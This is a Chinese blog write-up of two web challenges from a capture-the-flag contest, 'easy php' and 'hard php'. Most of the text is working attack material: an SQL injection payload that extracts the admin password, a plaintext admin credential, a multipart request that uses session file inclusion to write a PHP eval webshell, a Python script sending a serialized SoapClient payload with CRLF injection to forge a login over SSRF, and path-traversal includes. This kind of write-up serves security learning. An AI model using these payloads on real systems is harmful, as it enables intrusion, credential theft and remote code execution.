louys louys

n1ctf easy_hard wp

in web相关read (362) 文章转载请注明来源!

easy php

Ps:这题很烦的一点就是莫名其妙ip就被ban了。

发现 http://47.97.221.96:23333/views/

以及~可以读到源码。

<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

在这里有一个明显的文件包含在可以用来读各种配置文件,期间尝试包含log失败。

   public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

username这里不存在注入,加上提示有ssrf,就开始寻找ssrf点。期间队友发现了sql点,把admin的密码注出来了

  function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }

这里的signature进入了查询


admin:nu1ladmin
//0x3235333366343932613739366133323237623063366639316431303263633336
signature=0`+hex((select mid(password,29,7) from ctf_users limit 1)),`O:4:"Mood":3:{s:4:"mood";i:1;s:2:"ip";s:9:"127.0.0.1";s:4:"date";i:1520678972;}`)#&mood=0

尝试登陆发现限制了ip,虽然整个mood类可控,但是显然淘宝的ip查询接口不可控,陷入僵局。

直到放出hard php了以后,对两个phpinfo进行了一下diff

-session.upload_progress.enabled => On => On
+session.upload_progress.enabled => Off => Off

发现hard版本这里的设置有变化,搜索文章以后,http://www.mottoin.com/18436.html发现这里有一个相似的情况

session可控,session的位置可以通过phpinfo得到,所以可以尝试包含session文件得到shell

POST /index.php?action=../../../../../var/lib/php5/sess_srgp4n2jthn2f8iseekbfpm6m7&test=§1§ HTTP/1.1
Host: 47.97.221.96:23333
Proxy-Connection: keep-alive
Content-Length: 1192977
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhe9nLOUUrM8YKi2W
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=srgp4n2jthn2f8iseekbfpm6m7

------WebKitFormBoundaryhe9nLOUUrM8YKi2W
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ryat
------WebKitFormBoundaryhe9nLOUUrM8YKi2W
Content-Disposition: form-data; name="file"; filename="<?php file_put_contents('/app/adminpic/ttttttt.php', '<?php echo \'ok\';@eval($_POST[1]);?>');?>"
Content-Type: application/x-msdownload
以下省略

得到shell,用cknife连上,读取数据库得到flag

hard php

hard模式的时候就没法使用上一种姿势了,意味着还是需要找到ssrf点。百无头绪的时候,用上题的shell,翻了一下数据库。

16    311l89xw7d    9    a    O:10:"SoapClient":4:{s:3:"uri";s:271:"http://127.0.0.1/
Content-Length:0


POST /index.php?action=login HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=upl9itu93ntflv34u9fv8jkh83
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

username=admin&password=nu1ladmin&code=Fyh

POST /foo
";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}    

结果看到这么一条记录,才意识到这里放一个序列化后的soap类,然后后续调用函数getcountry和getsubtime会触发访问,而且由于存在crlf注入,所以可以直接伪造一个post登录包。其中code参数可以读取session文件得到。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0', 'Cookie': 'PHPSESSID=pc1nfq1qban5ismbcaqjoofba6'}
baseUrl = 'http://47.52.246.175:23333/index.php?action='
s = requests.session()

proxies = {'http':'http://127.0.0.1:8080'}


def publish(signature, mood):
    pubUrl = baseUrl + 'publish'
    data = {'signature': signature, 'mood': mood}
    content = s.post(pubUrl, data, headers=headers).content
    if content.find("alert('ok')") == -1:
        print 'publish failed'
        return False

    indexUrl = baseUrl + 'index'
    content = s.get(indexUrl, headers=headers).content 
    return content

# sql = 'a`, `O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:7:"8.8.8.8";s:4:"date";i:1520678972;}`)#'
# sql = 'a`, `O:10:"SoapClient":4:{s:3:"uri";s:13:"http://pfk.pw";s:8:"location";s:13:"http://pfk.pw";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}`)#'

payload = 'O:10:"SoapClient":4:{s:3:"uri";s:43:"http://47.88.226.54:89/?a=b\r\ntest1: apfkpfk";s:8:"location";s:40:"http://47.88.226.54:89/?a=b\r\ntest:pfkpfk";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}'
payload ='O:10:"SoapClient":4:{s:3:"uri";s:283:"http://47.88.226.54:89/\r\nContent-Length:0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 47.88.226.54:89\r\nCookie: PHPSESSID=ru2jecv4md9n6f19latfsds4m7\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 42\r\n\r\nusername=admin&password=nu1ladmin&code=Fyh\r\n\r\nPOST /foo\r\n";s:8:"location";s:45:"http://47.88.226.54:89/index.php?action=login";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}'
payload ='O:10:"SoapClient":4:{s:3:"uri";s:271:"http://127.0.0.1/\r\nContent-Length:0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=lr9gpv1fqbdj2js1a63oercge6\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 42\r\n\r\nusername=admin&password=nu1ladmin&code=iYp\r\n\r\nPOST /foo\r\n";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}'
#payload ='O:10:"SoapClient":4:{s:3:"uri";s:265:"http://pfk.pw/\r\nContent-Length:0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: pfk.pw\r\nCookie: PHPSESSID=ru2jecv4md9n6f19latfsds4m7\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 42\r\n\r\nusername=admin&password=nu1ladmin&code=Fyh\r\n\r\nPOST /foo\r\n";s:8:"location";s:36:"http://pfk.pw/index.php?action=login";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}'
sql = 'a`, `%s`)#' % (payload)

print publish(sql, '0')

admin登录后分析上传操作

        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;

经队友尝试后发现文件名开头为-时不会被删除,需要爆破一下。

得到

http://47.52.246.175:23333/index.php?action=../../../../../../../app/adminpic/-x152081575162.jpg

马上进行一波操作,终于在最后半分钟把flag交上去了。

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆